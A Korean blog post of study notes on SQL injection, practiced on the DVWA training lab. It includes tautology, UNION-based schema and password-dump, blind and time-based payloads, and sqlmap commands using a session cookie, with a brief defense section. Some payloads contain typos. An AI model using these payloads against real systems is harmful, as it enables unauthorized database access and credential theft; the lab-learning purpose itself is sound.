SQL인젝션

이설하·2022년 11월 17일

SQL인젝션 공격: 데이터베이스에 전송되는 SQL쿼리문을 조작하여 데티어를 변조하거나 허가되지 않는 정보에 접근하는 공격으로 예전부터 최근까지 꾸준하게 사용됨

-2011년 소니 해킹-> 100만명의 개인정보 해킹
-2015년 뽐뿌 해킹-> 190만 회원 정보 유출
-2015년 어나니머스 WTO해킹

where구문 공격

사용자정보 요청-> 앱 내부 DB로 sql쿼리문전송(where조건문 포함)-> 사용자가 작성한 것이 조건으로 입력 -> id가 1인경우 users라는 사용자 테이블에서 이름과 이메일을 가져옴
where조건문에 '1'='1' 추가 항상 참이되도록 하여 모든사용자의 개인정보 리턴.

UNION공격

or 대신 union(합집합), pw요구하는 select문 삽입
원래실행되어야 하는 아이디가 1인 사용자 정보 외에도 뒤에 있는select구문 실행 --> where조건문이 없어서 모든 사용자의 개인정보가 리턴.

<실습>
*where 구문 우회
-user id=1 입력 시 아이디가 1인 사용자의 정보가 출력됨(admin)
-user id= ' 입력해보기-> 취약한 페이지의 경우 sql관련 에러발생(소스코드확인-->where user id='''가 되면서 에러가 발생했음을 할 수 있음: 비정상적인 문자 입력 시 sql쿼리문이 잘못되어 에러발생-> 그 페이지는 sql쿼리문을 이용하여 처리된 다는 것을 파악할 수 있음)
-user id='1'or'1'='1' 입력(조건문이 항상 참이 되도록 함)-> 모든 정보출력
-user id='#-> 에러 발생하지 않은 -> db에서 #이후 내용이 모두 주석처리되어 쿼리문구조에 영향 주지 않기 떄문

*union이용-> db모든 정보 알아낼 수 있음
원래쿼리문의 uion앞뒤 select문의 칼럼갯수가 동일해야 작동함.

  • 원래 쿼리문의 칼럼갯수 알아내기union앞쪽 select문의 칼럼갯수)
    -user id='1' union select 1#--> 칼럼 갯수 동일하지 않아 에러 발생
    -user id='1' union select 1,1#--> 아이디 1의 정보와 아이디 1,1의 정보 가 합집합으로 같이 출력됨
    -user id='1' union select 1,1,1#-->칼럼 갯수 동일하지 않아 에러 발생
    ('1' order by 2#로도 칼럼갯수 알 수 있음)

*UNION공격

  • db명 조회--> user ID: '1' union select schema name,1 form information schema,schemata #
    모든 db명이 출력됨
  • dvwa db의 테이블 명 조회--> user ID: '1' union select table_schma, table_name from information_schema.tables where table_schema='dvwa'#
    테이블 조회 가능(--> guestbook // users)
  • use 테이블 칼럼 조회-->'1' union select table name, column_name from information_schema.colums where table_schema='dvwa' and table_name='users'3
    user ID, first,lastname, pw 등 의 테이블 칼럼 출력
    -그 중 pw를 가져와보자-- > user ID: '1' union select user, password form users#
    사용자명, pw가 출력됨(pw가 hash값형태--> db가 털려도 암호화된 값으로 저장되있으면 해커가 쉽게 복원하지 못함.)

*블라인드sql인젝션
-user id: 1 ---> id가 존재함
-user id: 6--> id가 존재하지 않음
-user id:'--> id가 존재하지 않음(에러발생하지 않음--> 조작가능한 파트 알기 어려움.)
-user id: '1' AND '1'='1'#--> id가 존재함(조건문이 참)
-user id: '1' AND '1'='2'#--> id가 존재하지 않음(조건문이 거짓)
AND같은 연산실행--> sql쿼리가 뒤에 있음을 확인-> admin존재하는지 and 뒤에 다른 조건 --> 존재확인가능
++)
-블라인드 sql인젝션 참 구문-->'1' AND 1=1#
-블라인드 sql인젝션 거짓 구문-->'1' AND 1=2#
F11-> network-> 시간기반 블라인드 sql인젝션 탐지 구문-->'1' AND SLEEP(5)#--> 시간 확인

*SQLMAP프로그램(자동공격)
dvwa-> sqlmap클릭-> -u URL:공격할 사이트 입력

  • sqlmap -u"정상처리된 페이지 url 복붙" --F11 console 창에 documnet.cookie입력해서 얻은 쿠키값--> --cookie="~"
    자동공격 실행--> 최종적 id parameter가 취약하다는 결과가 나옴
    (가능한 공격, 개발언어 등 제시)
  • 현재 db의 이름 --current db: dvwa
    -table명: -D dvwa --table: guestbook,, users
    -users data추출: -T users --dump: users table의 모든 정보 출력

*medium,high
-소스코드: mysql_querry를 통해 바로 쿼리가 호출됨

*SQL인젝션 공격 대응
-source code: 입력받을 값의 형태에 따라 입력값 검증(숫자, 문자, 특수문자 등)/ 파라미터 쿼리(prepare:쿼리문 형태 작성), 쿼리문 조작 하지 못하도록 처리

profile
evision_web security

0개의 댓글